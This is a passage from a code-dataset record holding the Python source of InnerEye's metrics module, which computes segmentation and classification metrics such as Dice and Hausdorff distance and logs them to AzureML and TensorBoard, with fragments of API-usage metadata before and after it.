"db.model.service.Service.hostname", "line_number": 133, "usage_type": "attribute"}, {"api_name": "db.model.service.Service", "line_number": 133, "usage_type": "name"}, {"api_name": "db.model.service.Service.port", "line_number": 134, "usage_type": "attribute"}, {"api_name": "db.model.service.Service", "line_number": 134, "usage_type": "name"}, {"api_name": "db.model.authorization.Authorization", "line_number": 141, "usage_type": "call"}, {"api_name": "iwatchit.db.session.add", "line_number": 142, "usage_type": "call"}, {"api_name": "iwatchit.db.session", "line_number": 142, "usage_type": "attribute"}, {"api_name": "iwatchit.db", "line_number": 142, "usage_type": "name"}, {"api_name": "iwatchit.db.session.commit", "line_number": 143, "usage_type": "call"}, {"api_name": "iwatchit.db.session", "line_number": 143, "usage_type": "attribute"}, {"api_name": "iwatchit.db", "line_number": 143, "usage_type": "name"}, {"api_name": "db.model.user.User", "line_number": 148, "usage_type": "call"}, {"api_name": "iwatchit.db.session.add", "line_number": 149, "usage_type": "call"}, {"api_name": "iwatchit.db.session", "line_number": 149, "usage_type": "attribute"}, {"api_name": "iwatchit.db", "line_number": 149, "usage_type": "name"}, {"api_name": "iwatchit.db.session.commit", "line_number": 150, "usage_type": "call"}, {"api_name": "iwatchit.db.session", "line_number": 150, "usage_type": "attribute"}, {"api_name": "iwatchit.db", "line_number": 150, "usage_type": "name"}, {"api_name": "db.model.service.Service", "line_number": 155, "usage_type": "call"}, {"api_name": "iwatchit.db.session.add", "line_number": 156, "usage_type": "call"}, {"api_name": "iwatchit.db.session", "line_number": 156, "usage_type": "attribute"}, {"api_name": "iwatchit.db", "line_number": 156, "usage_type": "name"}, {"api_name": "iwatchit.db.session.commit", "line_number": 157, "usage_type": "call"}, {"api_name": "iwatchit.db.session", "line_number": 157, "usage_type": "attribute"}, {"api_name": "iwatchit.db", "line_number": 157, "usage_type": "name"}, {"api_name": "db.model.user.User", "line_number": 163, "usage_type": "argument"}, {"api_name": "db.model.authorization.Authorization.query.join", "line_number": 163, "usage_type": "call"}, {"api_name": "db.model.service.Service", "line_number": 163, "usage_type": "argument"}, {"api_name": "db.model.authorization.Authorization.query", "line_number": 163, "usage_type": "attribute"}, {"api_name": "db.model.authorization.Authorization", "line_number": 163, "usage_type": "name"}, {"api_name": "db.model.service.Service.application", "line_number": 164, "usage_type": "attribute"}, {"api_name": "db.model.service.Service", "line_number": 164, "usage_type": "name"}, {"api_name": "db.model.user.User.username", "line_number": 165, "usage_type": "attribute"}, {"api_name": "db.model.user.User", "line_number": 165, "usage_type": "name"}, {"api_name": "db.model.authorization.Authorization.query.join", "line_number": 167, "usage_type": "call"}, {"api_name": "db.model.user.User", "line_number": 167, "usage_type": "argument"}, {"api_name": "db.model.authorization.Authorization.query", "line_number": 167, "usage_type": "attribute"}, {"api_name": "db.model.authorization.Authorization", "line_number": 167, "usage_type": "name"}, {"api_name": "db.model.user.User.username", "line_number": 167, "usage_type": "attribute"}, {"api_name": "iwatchit.auth_ns.route", "line_number": 28, "usage_type": "call"}, {"api_name": "iwatchit.auth_ns", "line_number": 28, "usage_type": "name"}]} {"seq_id": "406692196", "text": "# ------------------------------------------------------------------------------------------\n# Copyright (c) Microsoft Corporation. All rights reserved.\n# Licensed under the MIT License (MIT). See LICENSE in the repo root for license information.\n# ------------------------------------------------------------------------------------------\nfrom __future__ import annotations\n\nimport logging\nfrom dataclasses import dataclass, field\nfrom pathlib import Path\nfrom typing import Any, Dict, List, Optional, Sequence\n\nimport SimpleITK as sitk\nimport math\nimport numpy as np\nimport tensorboardX\nimport torch\nimport torch.nn.functional as F\nfrom PIL import Image\nfrom azureml.core import Run\n\nfrom InnerEye.Azure.azure_util import DEFAULT_CROSS_VALIDATION_SPLIT_INDEX, PARENT_RUN_CONTEXT, RUN_CONTEXT, \\\n get_run_context_or_default, is_offline_run_context\nfrom InnerEye.Common.common_util import DataframeLogger\nfrom InnerEye.Common.metrics_dict import MetricType, MetricsDict, ScalarMetricsDict, get_column_name_for_logging, \\\n get_metric_name_with_hue_prefix\nfrom InnerEye.Common.type_annotations import IntOrString, TupleFloat3\nfrom InnerEye.ML.common import ModelExecutionMode\nfrom InnerEye.ML.config import BACKGROUND_CLASS_NAME\nfrom InnerEye.ML.model_config_base import ModelConfigBase\nfrom InnerEye.ML.scalar_config import ScalarLoss\nfrom InnerEye.ML.utils import metrics_util\nfrom InnerEye.ML.utils.image_util import binaries_from_multi_label_array, check_array_range, is_binary_array\nfrom InnerEye.ML.utils.io_util import reverse_tuple_float3\nfrom InnerEye.ML.utils.metrics_constants import LoggingColumns\nfrom InnerEye.ML.utils.metrics_util import binary_classification_accuracy, mean_absolute_error, r2_score\nfrom InnerEye.ML.utils.ml_util import check_size_matches\nfrom InnerEye.ML.utils.sequence_utils import get_masked_model_outputs_and_labels\n\nTRAIN_STATS_FILE = \"train_stats.csv\"\n\n\n@dataclass(frozen=True)\nclass InferenceMetrics:\n \"\"\"\n Defined purely to serve as a superclass.\n \"\"\"\n pass\n\n\n@dataclass(frozen=True)\nclass InferenceMetricsForClassification(InferenceMetrics):\n \"\"\"\n Stores a dictionary mapping from epoch number to the metrics that were achieved in that epoch.\n \"\"\"\n epochs: Dict[int, MetricsDict]\n\n\n@dataclass(frozen=True)\nclass InferenceMetricsForSegmentation(InferenceMetrics):\n \"\"\"\n Stores metrics for segmentation models, per execution mode and epoch.\n \"\"\"\n data_split: ModelExecutionMode\n epochs: Dict[int, float]\n\n def get_best_epoch_dice(self) -> float:\n \"\"\"\n Gets the Dice score that the model achieves in the best epoch.\n \"\"\"\n return self.epochs[self.get_best_epoch()]\n\n def get_best_epoch(self) -> int:\n \"\"\"\n Gets the epoch that achieves the best (highest) Dice score.\n \"\"\"\n epoch = max(self.epochs, key=self.epochs.get)\n return epoch\n\n def get_metrics_log_key(self) -> str:\n \"\"\"\n Gets a string name for logging the metrics specific to the execution mode (train, val, test)\n :return:\n \"\"\"\n return f\"InferenceMetrics_{self.data_split.value}\"\n\n def log_metrics(self, run_context: Run = None) -> None:\n \"\"\"\n Log metrics for each epoch to the provided runs logs, or the current run context if None provided\n :param run_context: Run for which to log the metrics to, use the current run context if None provided\n :return:\n \"\"\"\n run_context = get_run_context_or_default(run_context)\n keys = sorted(self.epochs.keys())\n\n run_context.log_table(name=self.get_metrics_log_key(), value={\n \"Checkpoint\": keys,\n \"Dice\": [self.epochs[x] for x in keys]\n })\n\n\n@dataclass(frozen=True)\nclass SegmentationMetricsPerClass:\n \"\"\"\n Stores different segmentation metrics, as a list where each list entry represents one class.\n \"\"\"\n dice: List[float] = field(default_factory=list)\n hausdorff_distance_mm: List[float] = field(default_factory=list)\n mean_distance_mm: List[float] = field(default_factory=list)\n\n def append_nan(self) -> None:\n \"\"\"\n Adds a NaN for all metrics that are stored, indicating that the target class was not present and no\n output was produced by the model.\n \"\"\"\n self.dice.append(math.nan)\n self.hausdorff_distance_mm.append(math.nan)\n self.mean_distance_mm.append(math.nan)\n\n def append(self,\n dice: float,\n hausdorff_distance_mm: float,\n mean_distance_mm: float) -> None:\n \"\"\"\n Stores the metrics for a class in the present object.\n :param dice: The Dice score between ground truth and model output.\n :param hausdorff_distance_mm: The Hausdorff distance between ground truth and model output, in millimeters.\n :param mean_distance_mm: The mean surface distance between ground truth and model output, in millimeters.\n :return:\n \"\"\"\n self.dice.append(dice)\n self.hausdorff_distance_mm.append(hausdorff_distance_mm)\n self.mean_distance_mm.append(mean_distance_mm)\n\n\nclass AzureMLLogger:\n \"\"\"\n Stores the information that is required to log metrics to AzureML.\n \"\"\"\n\n def __init__(self,\n cross_validation_split_index: int,\n logging_prefix: str,\n log_to_parent_run: bool):\n \"\"\"\n :param cross_validation_split_index: The cross validation split index, or its default value if not running\n inside cross validation.\n :param logging_prefix: A prefix string that will be added to all metrics names before logging.\n :param log_to_parent_run: If true, all metrics will also be written to the Hyperdrive parent run when that\n parent run is present.\n \"\"\"\n self.logging_prefix = logging_prefix\n self.cross_validation_split_index = cross_validation_split_index\n self.log_to_parent_run = log_to_parent_run\n\n def log_to_azure(self, label: str, metric: float) -> None:\n \"\"\"\n Logs a metric as a key/value pair to AzureML.\n \"\"\"\n if not is_offline_run_context(RUN_CONTEXT):\n metric_name = self.logging_prefix + label\n RUN_CONTEXT.log(metric_name, metric)\n # When running in a cross validation setting, log all metrics to the hyperdrive parent run too,\n # so that we can easily overlay graphs across runs.\n if self.log_to_parent_run and PARENT_RUN_CONTEXT:\n if self.cross_validation_split_index > DEFAULT_CROSS_VALIDATION_SPLIT_INDEX:\n PARENT_RUN_CONTEXT.log(f\"{metric_name}_Split{self.cross_validation_split_index}\",\n metric)\n\n\nclass AzureAndTensorboardLogger:\n \"\"\"\n Contains functionality to log metrics to both Azure run and TensorBoard event file\n for both classification and segmentation models.\n \"\"\"\n\n def __init__(self,\n azureml_logger: AzureMLLogger,\n tensorboard_logger: tensorboardX.SummaryWriter,\n epoch: int):\n self.azureml_logger = azureml_logger\n self.tensorboard_logger = tensorboard_logger\n self.epoch = epoch\n\n def log_to_azure_and_tensorboard(self, label: str, metric: float) -> None:\n \"\"\"\n Writes a metric to the Azure run and to the TensorBoard event file\n :param label: The string name of the metric.\n :param metric: The value of the metric.\n \"\"\"\n self.azureml_logger.log_to_azure(label, metric)\n self.log_to_tensorboard(label, metric)\n\n def log_to_tensorboard(self, label: str, metric: float) -> None:\n \"\"\"\n Writes a metric to a Tensorboard event file.\n :param label: The string name of the metric.\n :param metric: The value of the metric.\n \"\"\"\n # TensorBoard does not like tags that contain spaces, and prints out a warning for each logging attempt.\n # Replace space with underscore to reduce logging noise.\n writer = self.tensorboard_logger\n label_without_spaces = label.replace(\" \", \"_\")\n writer.add_scalar(label_without_spaces, metric, self.epoch)\n\n def log_image(self, name: str, path: str) -> None:\n \"\"\"\n Logs a PNG image stored in `path` to Azure and Tensorboard.\n \"\"\"\n if not is_offline_run_context(RUN_CONTEXT):\n RUN_CONTEXT.log_image(name=name, path=path)\n writer = self.tensorboard_logger\n img = Image.open(path).convert(\"RGB\")\n img = np.transpose(np.asarray(img), (2, 0, 1))\n writer.add_image(name, img, self.epoch)\n\n def log_segmentation_epoch_metrics(self,\n metrics: MetricsDict,\n learning_rates: List[float]) -> None:\n \"\"\"\n Logs segmentation metrics (e.g. loss, dice scores, learning rates) to an event file for TensorBoard\n visualization and to the AzureML run context\n :param learning_rates: The logged learning rates.\n :param metrics: The metrics of the specified epoch, averaged along its batches.\n \"\"\"\n logging_fn = self.log_to_azure_and_tensorboard\n logging_fn(MetricType.LOSS.value, metrics.get_single_metric(MetricType.LOSS))\n logging_fn(\"Dice/AverageExceptBackground\", metrics.get_single_metric(MetricType.DICE))\n logging_fn(\"Voxels/ProportionForeground\", metrics.get_single_metric(MetricType.PROPORTION_FOREGROUND_VOXELS))\n logging_fn(\"TimePerEpoch_Seconds\", metrics.get_single_metric(MetricType.SECONDS_PER_EPOCH))\n\n if learning_rates is not None:\n for i, lr in enumerate(learning_rates):\n logging_fn(\"LearningRate/Index_{}\".format(i), lr)\n\n for class_name in metrics.get_hue_names(include_default=False):\n # Tensorboard groups metrics by what is before the slash.\n # With metrics Dice/Foo and Dice/Bar, it will create a section for \"Dice\",\n # and inside of it, there are graphs for Foo and Bar\n get_label = lambda x, y: \"{}/{}\".format(x, y)\n logging_fn(get_label(\"Dice\", class_name),\n metrics.get_single_metric(MetricType.DICE, hue=class_name))\n logging_fn(get_label(\"Voxels\", class_name),\n metrics.get_single_metric(MetricType.PROPORTION_FOREGROUND_VOXELS, hue=class_name))\n\n def log_classification_epoch_metrics(self, metrics: MetricsDict) -> None:\n \"\"\"\n Writes all values from MetricsDict object into a file for Tensorboard visualization,\n and into the AzureML run context.\n :param metrics: dictionary containing the metrics to be logged, averaged over minibatches.\n \"\"\"\n for hue_name, label, metric in metrics.enumerate_single_values():\n self.log_to_azure_and_tensorboard(get_metric_name_with_hue_prefix(label, hue_name), metric)\n\n\ndef vars_with_scalar_fields_only(o: Any) -> Dict[str, Any]:\n \"\"\"\n Returns a dictionary similar to vars(o), but with only those fields that either have integer\n or floating point value.\n :param o: The object to process.\n :return: A dictionary mapping from field name to value.\n \"\"\"\n\n def is_scalar(f: Any) -> bool:\n return isinstance(f, (int, float))\n\n return {key: value for key, value in vars(o) if is_scalar(value)}\n\n\ndef surface_distance(seg: sitk.Image, reference_segmentation: sitk.Image) -> float:\n \"\"\"\n Symmetric surface distances taking into account the image spacing\n https://github.com/InsightSoftwareConsortium/SimpleITK-Notebooks/blob/master/Python/34_Segmentation_Evaluation.ipynb\n :param seg: mask 1\n :param reference_segmentation: mask 2\n :return: mean distance\n \"\"\"\n statistics_image_filter = sitk.StatisticsImageFilter()\n # Get the number of pixels in the reference surface by counting all pixels that are 1.\n reference_surface = sitk.LabelContour(reference_segmentation)\n statistics_image_filter.Execute(reference_surface)\n num_reference_surface_pixels = int(statistics_image_filter.GetSum())\n\n reference_distance_map = sitk.Abs(\n sitk.SignedMaurerDistanceMap(reference_segmentation, squaredDistance=False, useImageSpacing=True))\n reference_surface = sitk.LabelContour(reference_segmentation)\n\n # Symmetric surface distance measures\n segmented_distance_map = sitk.Abs(sitk.SignedMaurerDistanceMap(seg, squaredDistance=False, useImageSpacing=True))\n segmented_surface = sitk.LabelContour(seg)\n\n # Multiply the binary surface segmentations with the distance maps. The resulting distance\n # maps contain non-zero values only on the surface (they can also contain zero on the surface)\n seg2ref_distance_map = reference_distance_map * sitk.Cast(segmented_surface, sitk.sitkFloat32)\n ref2seg_distance_map = segmented_distance_map * sitk.Cast(reference_surface, sitk.sitkFloat32)\n\n # Get the number of pixels in the reference surface by counting all pixels that are 1.\n statistics_image_filter.Execute(segmented_surface)\n num_segmented_surface_pixels = int(statistics_image_filter.GetSum())\n\n seg2ref_distance_map_arr = sitk.GetArrayViewFromImage(seg2ref_distance_map)\n seg2ref_distances = _add_zero_distances(num_segmented_surface_pixels, seg2ref_distance_map_arr)\n ref2seg_distance_map_arr = sitk.GetArrayViewFromImage(ref2seg_distance_map)\n ref2seg_distances = _add_zero_distances(num_reference_surface_pixels, ref2seg_distance_map_arr)\n\n all_surface_distances = seg2ref_distances + ref2seg_distances\n return np.mean(all_surface_distances).item()\n\n\ndef _add_zero_distances(num_segmented_surface_pixels: int, seg2ref_distance_map_arr: np.ndarray) -> List[float]:\n \"\"\"\n # Get all non-zero distances and then add zero distances if required.\n :param num_segmented_surface_pixels:\n :param seg2ref_distance_map_arr:\n :return: list of distances, augmented with zeros.\n \"\"\"\n seg2ref_distances = list(seg2ref_distance_map_arr[seg2ref_distance_map_arr != 0])\n seg2ref_distances = seg2ref_distances + list(np.zeros(num_segmented_surface_pixels - len(seg2ref_distances)))\n return seg2ref_distances\n\n\ndef calculate_metrics_per_class(segmentation: np.ndarray,\n ground_truth: np.ndarray,\n ground_truth_ids: List[str],\n voxel_spacing: TupleFloat3,\n patient_id: Optional[int] = None) -> MetricsDict:\n \"\"\"\n Calculate the dice for all foreground structures (the background class is completely ignored).\n Returns a MetricsDict with metrics for each of the foreground\n structures. Metrics are NaN if both ground truth and prediction are all zero for a class.\n :param ground_truth_ids: The names of all foreground classes.\n :param segmentation: predictions multi-value array with dimensions: [Z x Y x X]\n :param ground_truth: ground truth binary array with dimensions: [C x Z x Y x X]\n :param voxel_spacing: voxel_spacing in 3D Z x Y x X\n :param patient_id: for logging\n \"\"\"\n number_of_classes = ground_truth.shape[0]\n if len(ground_truth_ids) != (number_of_classes - 1):\n raise ValueError(f\"Received {len(ground_truth_ids)} foreground class names, but \"\n f\"the label tensor indicates that there are {number_of_classes - 1} classes.\")\n binaries = binaries_from_multi_label_array(segmentation, number_of_classes)\n\n all_classes_are_binary = [is_binary_array(ground_truth[label_id]) for label_id in range(ground_truth.shape[0])]\n if not np.all(all_classes_are_binary):\n raise ValueError(\"Ground truth values should be 0 or 1\")\n overlap_measures_filter = sitk.LabelOverlapMeasuresImageFilter()\n hausdorff_distance_filter = sitk.HausdorffDistanceImageFilter()\n metrics = MetricsDict(hues=ground_truth_ids)\n for i, prediction in enumerate(binaries):\n if i == 0:\n continue\n check_size_matches(prediction, ground_truth[i], arg1_name=\"prediction\", arg2_name=\"ground_truth\")\n if not is_binary_array(prediction):\n raise ValueError(\"Predictions values should be 0 or 1\")\n # simpleitk returns a Dice score of 0 if both ground truth and prediction are all zeros.\n # We want to be able to fish out those cases, and treat them specially later.\n prediction_zero = np.all(prediction == 0)\n gt_zero = np.all(ground_truth[i] == 0)\n dice = mean_surface_distance = hausdorff_distance = math.nan\n if not (prediction_zero and gt_zero):\n prediction_image = sitk.GetImageFromArray(prediction.astype(np.uint8))\n prediction_image.SetSpacing(sitk.VectorDouble(reverse_tuple_float3(voxel_spacing)))\n ground_truth_image = sitk.GetImageFromArray(ground_truth[i].astype(np.uint8))\n ground_truth_image.SetSpacing(sitk.VectorDouble(reverse_tuple_float3(voxel_spacing)))\n overlap_measures_filter.Execute(prediction_image, ground_truth_image)\n dice = overlap_measures_filter.GetDiceCoefficient()\n if prediction_zero or gt_zero:\n hausdorff_distance = mean_surface_distance = math.inf\n else:\n try:\n hausdorff_distance_filter.Execute(prediction_image, ground_truth_image)\n hausdorff_distance = hausdorff_distance_filter.GetHausdorffDistance()\n except Exception as e:\n logging.warning(\"Cannot calculate Hausdorff distance for \"\n f\"structure {i} of patient {patient_id}: {e}\")\n try:\n mean_surface_distance = surface_distance(prediction_image, ground_truth_image)\n except Exception as e:\n logging.warning(f\"Cannot calculate mean distance for structure {i} of patient {patient_id}: {e}\")\n logging.debug(f\"Patient {patient_id}, class {i} has Dice score {dice}\")\n\n def add_metric(metric_type: MetricType, value: float) -> None:\n metrics.add_metric(metric_type, value, skip_nan_when_averaging=True, hue=ground_truth_ids[i - 1])\n\n add_metric(MetricType.DICE, dice)\n add_metric(MetricType.HAUSDORFF_mm, hausdorff_distance)\n add_metric(MetricType.MEAN_SURFACE_DIST_mm, mean_surface_distance)\n return metrics\n\n\ndef compute_dice_across_patches(segmentation: torch.Tensor,\n ground_truth: torch.Tensor,\n use_cuda: bool,\n allow_multiple_classes_for_each_pixel: bool = False) -> torch.Tensor:\n \"\"\"\n Computes the Dice scores for all classes across all patches in the arguments.\n :param segmentation: Tensor containing class ids predicted by a model.\n :param ground_truth: One-hot encoded torch tensor containing ground-truth label ids.\n :param use_cuda: If set to True, uses CUDA backend for computations\n :param allow_multiple_classes_for_each_pixel: If set to False, ground-truth tensor has\n to contain only one foreground label for each pixel.\n :return A torch tensor of size (Patches, Classes) with the Dice scores. Dice scores are computed for\n all classes including the background class at index 0.\n \"\"\"\n if use_cuda:\n segmentation = segmentation.cuda()\n ground_truth = ground_truth.cuda()\n\n check_size_matches(segmentation, ground_truth, 4, 5, [0, -3, -2, -1],\n arg1_name=\"segmentation\", arg2_name=\"ground_truth\")\n\n # One-hot encoded ground-truth values should sum up to one for all pixels\n if not allow_multiple_classes_for_each_pixel:\n if not torch.allclose(torch.sum(ground_truth, dim=1).float(),\n torch.ones(segmentation.shape, device=ground_truth.device).float()):\n raise Exception(\"Ground-truth one-hot matrix does not sum up to one for all pixels\")\n\n # Convert the ground-truth to one-hot-encoding\n [num_patches, num_classes] = ground_truth.size()[:2]\n one_hot_segmentation = F.one_hot(segmentation, num_classes=num_classes).permute(0, 4, 1, 2, 3)\n\n # Convert the tensors to bool tensors\n one_hot_segmentation = one_hot_segmentation.bool().view(num_patches, num_classes, -1)\n ground_truth = ground_truth.bool().view(num_patches, num_classes, -1)\n\n # And operation between segmentation and ground-truth - reduction operation\n # Count the number of samples in segmentation and ground-truth\n intersection = 2.0 * torch.sum(one_hot_segmentation & ground_truth, dim=-1).float()\n union = torch.sum(one_hot_segmentation, dim=-1) + torch.sum(ground_truth, dim=-1).float() + 1.0e-6\n\n return intersection / union\n\n\ndef format_learning_rates(learning_rates: List[float]) -> str:\n \"\"\"\n Converts a list of learning rates to a human readable string. Multiple entries are separated by semicolon.\n :param learning_rates: An iterable of learning rate values.\n :return: An empty string if the argument is None or empty, otherwise the string representation of the rates,\n formatted as {:0.2e}\n \"\"\"\n if learning_rates is None or len(learning_rates) == 0:\n return \"\"\n return \"; \".join(\"{:0.2e}\".format(lr) for lr in learning_rates)\n\n\ndef store_epoch_stats_for_segmentation(outputs_dir: Path,\n epoch: int,\n learning_rates: List[float],\n training_results: MetricsDict,\n validation_results: MetricsDict) -> None:\n \"\"\"\n Writes a dictionary of statistics for a segmentation training run to a file. Successive calls to the function\n append another line of metrics. The first line of the file contains the column headers (names of the metrics).\n :param training_results: A MetricsDict object with all metrics that were achieved on the training set in the\n current epoch.\n :param validation_results: A MetricsDict object with all metrics that were achieved on the validation set in the\n current epoch.\n :param learning_rates: The learning rates that were used in the current epoch.\n :param epoch: The number of the current training epoch.\n :param outputs_dir: The directory in which the statistics file should be created.\n :return:\n \"\"\"\n epoch_stats = {\n \"Epoch\": str(epoch),\n \"LearningRate\": format_learning_rates(learning_rates),\n \"TrainLoss\": metrics_util.format_metric(training_results.get_single_metric(MetricType.LOSS)),\n \"TrainDice\": metrics_util.format_metric(training_results.get_single_metric(MetricType.DICE)),\n \"ValLoss\": metrics_util.format_metric(validation_results.get_single_metric(MetricType.LOSS)),\n \"ValDice\": metrics_util.format_metric(validation_results.get_single_metric(MetricType.DICE)),\n }\n # When using os.linesep, additional LF characters are inserted. Expected behaviour only when\n # using this on both Windows and Linux.\n line_sep = \"\\n\"\n tab = \"\\t\"\n full_file = outputs_dir / TRAIN_STATS_FILE\n if not full_file.exists():\n header = tab.join(epoch_stats.keys())\n full_file.write_text(header + line_sep)\n line = tab.join(epoch_stats.values())\n with full_file.open(\"a\") as f:\n f.write(line + line_sep)\n\n\ndef validate_and_store_model_parameters(writer: tensorboardX.SummaryWriter, epoch: int,\n model: torch.nn.DataParallel) -> None:\n \"\"\"\n Validates and writes all model weights to the given TensorBoard writer.\n :param writer: TensorBoard summary writer\n :param epoch: The epoch for which these model parameters correspond to.\n :param model: The model from which to extract the parameters.\n :return:\n \"\"\"\n for name, param in model.named_parameters():\n param_numpy = param.clone().cpu().data.numpy()\n check_array_range(param_numpy, error_prefix=\"Parameter {}\".format(name))\n writer.add_histogram(name, param_numpy, epoch)\n\n\ndef store_epoch_metrics(azure_and_tensorboard_logger: AzureAndTensorboardLogger,\n df_logger: DataframeLogger,\n epoch: int,\n metrics: MetricsDict,\n learning_rates: List[float],\n config: ModelConfigBase) -> None:\n \"\"\"\n Writes the loss, Dice scores, and learning rates into a file for Tensorboard visualization,\n and into the AzureML run context.\n :param azure_and_tensorboard_logger: An instance of AzureAndTensorboardLogger.\n :param df_logger: An instance of DataframeLogger, for logging results to csv.\n :param epoch: The epoch corresponding to the results.\n :param metrics: The metrics of the specified epoch, averaged along its batches.\n :param learning_rates: The logged learning rates.\n :param config: one of SegmentationModelBase\n \"\"\"\n if config.is_segmentation_model:\n azure_and_tensorboard_logger.log_segmentation_epoch_metrics(metrics,\n learning_rates)\n logger_row = {\n LoggingColumns.Dice.value: metrics.get_single_metric(MetricType.DICE),\n LoggingColumns.Loss.value: metrics.get_single_metric(MetricType.LOSS),\n LoggingColumns.SecondsPerEpoch.value: metrics.get_single_metric(MetricType.SECONDS_PER_EPOCH)\n }\n\n elif config.is_scalar_model:\n assert isinstance(metrics, MetricsDict)\n azure_and_tensorboard_logger.log_classification_epoch_metrics(metrics)\n logger_row: Dict[str, float] = {} # type: ignore\n for hue_name, metric_name, metric_value in metrics.enumerate_single_values():\n logging_column_name = get_column_name_for_logging(metric_name, hue_name=hue_name)\n logger_row[logging_column_name] = metric_value\n else:\n raise ValueError(\"Model must be either classification, regression or segmentation model\")\n\n logger_row.update({\n LoggingColumns.Epoch.value: epoch,\n LoggingColumns.CrossValidationSplitIndex.value: config.cross_validation_split_index\n })\n\n df_logger.add_record(logger_row)\n\n\ndef compute_scalar_metrics(metrics_dict: ScalarMetricsDict,\n subject_ids: Sequence[IntOrString],\n model_output: torch.Tensor,\n labels: torch.Tensor,\n loss_type: ScalarLoss = ScalarLoss.BinaryCrossEntropyWithLogits) -> None:\n \"\"\"\n Computes various metrics for a binary classification task from real-valued model output and a label vector,\n and stores them in the given `metrics_dict`.\n The model output is assumed to be in the range between 0 and 1, a value larger than 0.5 indicates a prediction\n of class 1. The label vector is expected to contain class indices 0 and 1 only.\n Metrics for each model output channel will be isolated, and a non-default hue for each model output channel is\n expected, and must exist in the provided metrics_dict. The Default hue is used for single model outputs.\n :param metrics_dict: An object that holds all metrics. It will be updated in-place.\n :param subject_ids: Subject ids for the model output and labels.\n :param model_output: A tensor containing model outputs.\n :param labels: A tensor containing class labels.\n :param loss_type: The type of loss that the model uses. This is required to optionally convert 2-dim model output\n to probabilities.\n \"\"\"\n _model_output_channels = model_output.shape[1]\n model_output_hues = metrics_dict.get_hue_names(include_default=len(metrics_dict.hues_without_default) == 0)\n\n if len(model_output_hues) < _model_output_channels:\n raise ValueError(\"Hues must be provided for each model output channel, found \"\n f\"{_model_output_channels} channels but only {len(model_output_hues)} hues\")\n\n for i, hue in enumerate(model_output_hues):\n # mask the model outputs and labels if required\n masked_model_outputs_and_labels = get_masked_model_outputs_and_labels(\n model_output[:, i, ...], labels[:, i, ...], subject_ids)\n\n # compute metrics on valid masked tensors only\n if masked_model_outputs_and_labels is not None:\n _model_output, _labels, _subject_ids = \\\n masked_model_outputs_and_labels.model_outputs.data, \\\n masked_model_outputs_and_labels.labels.data, \\\n masked_model_outputs_and_labels.subject_ids\n\n if loss_type == ScalarLoss.MeanSquaredError:\n metrics = {\n MetricType.MEAN_SQUARED_ERROR: F.mse_loss(_model_output, _labels.float(), reduction='mean').item(),\n MetricType.MEAN_ABSOLUTE_ERROR: mean_absolute_error(_model_output, _labels),\n MetricType.R2_SCORE: r2_score(_model_output, _labels)\n }\n else:\n metrics = {\n MetricType.CROSS_ENTROPY: F.binary_cross_entropy(_model_output, _labels.float(),\n reduction='mean').item(),\n MetricType.ACCURACY_AT_THRESHOLD_05: binary_classification_accuracy(_model_output, _labels)\n }\n for key, value in metrics.items():\n if key == MetricType.R2_SCORE:\n # For a batch size 1, R2 score can be nan. We need to ignore nans\n # when average in case the last batch is of size 1.\n metrics_dict.add_metric(key, value, skip_nan_when_averaging=True, hue=hue)\n else:\n metrics_dict.add_metric(key, value, hue=hue)\n\n assert _subject_ids is not None\n metrics_dict.add_predictions(_subject_ids, _model_output.detach().cpu().numpy(),\n _labels.cpu().numpy(), hue=hue)\n\n\ndef aggregate_segmentation_metrics(metrics: MetricsDict) -> MetricsDict:\n \"\"\"\n Computes aggregate metrics for segmentation models, from a metrics dictionary that contains the results for\n individual minibatches. Specifically, average Dice scores for only the foreground structures and proportions\n of foreground voxels are computed. All metrics for the background class will be removed.\n All other metrics that are already present in the input metrics will be averaged and available in the result.\n Diagnostic values present in the input will be passed through unchanged.\n :param metrics: A metrics dictionary that contains the per-minibatch results.\n \"\"\"\n class_names_with_background = metrics.get_hue_names(include_default=False)\n has_background_class = class_names_with_background[0] == BACKGROUND_CLASS_NAME\n foreground_classes = class_names_with_background[1:] if has_background_class else class_names_with_background\n result = metrics.average(across_hues=False)\n result.diagnostics = metrics.diagnostics.copy()\n if has_background_class:\n result.delete_hue(BACKGROUND_CLASS_NAME)\n add_average_foreground_dice(result)\n # Total number of voxels per class, including the background class\n total_voxels = []\n voxel_count = MetricType.VOXEL_COUNT.value\n for g in class_names_with_background:\n values = metrics.values(hue=g)\n if voxel_count in values:\n total_voxels.append(sum(values[voxel_count]))\n if len(total_voxels) > 0:\n # Proportion of voxels in foreground classes only\n proportion_foreground = np.array(total_voxels[1:], dtype=float) / sum(total_voxels)\n for i, foreground_class in enumerate(foreground_classes):\n result.add_metric(MetricType.PROPORTION_FOREGROUND_VOXELS, proportion_foreground[i], hue=foreground_class)\n result.add_metric(MetricType.PROPORTION_FOREGROUND_VOXELS, np.sum(proportion_foreground).item())\n return result\n\n\ndef add_average_foreground_dice(metrics: MetricsDict) -> None:\n \"\"\"\n If the given metrics dictionary contains an entry for Dice score, and only one value for the Dice score per class,\n then add an average Dice score for all foreground classes to the metrics dictionary (modified in place).\n :param metrics: The object that holds metrics. The average Dice score will be written back into this object.\n \"\"\"\n all_dice = []\n for structure_name in metrics.get_hue_names(include_default=False):\n if structure_name != BACKGROUND_CLASS_NAME:\n all_dice.append(metrics.get_single_metric(MetricType.DICE, hue=structure_name))\n metrics.add_metric(MetricType.DICE, np.nanmean(all_dice).item())\n", "sub_path": "InnerEye/ML/metrics.py", "file_name": "metrics.py", "file_ext": "py", "file_size_in_byte": 32709, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "dataclasses.dataclass", "line_number": 42, "usage_type": "call"}, {"api_name": "typing.Dict", "line_number": 55, "usage_type": "name"}, {"api_name": "InnerEye.Common.metrics_dict.MetricsDict", "line_number": 55, "usage_type": "name"}, {"api_name": "dataclasses.dataclass", "line_number": 50, "usage_type": "call"}, {"api_name": "InnerEye.ML.common.ModelExecutionMode", "line_number": 63, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 64, "usage_type": "name"}, {"api_name": "azureml.core.Run", "line_number": 86, "usage_type": "name"}, {"api_name": "InnerEye.Azure.azure_util.get_run_context_or_default", "line_number": 92, "usage_type": "call"}, {"api_name": "dataclasses.dataclass", "line_number": 58, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 106, "usage_type": "name"}, {"api_name": "dataclasses.field", "line_number": 106, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 107, "usage_type": "name"}, {"api_name": "dataclasses.field", "line_number": 107, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 108, "usage_type": "name"}, {"api_name": "dataclasses.field", "line_number": 108, 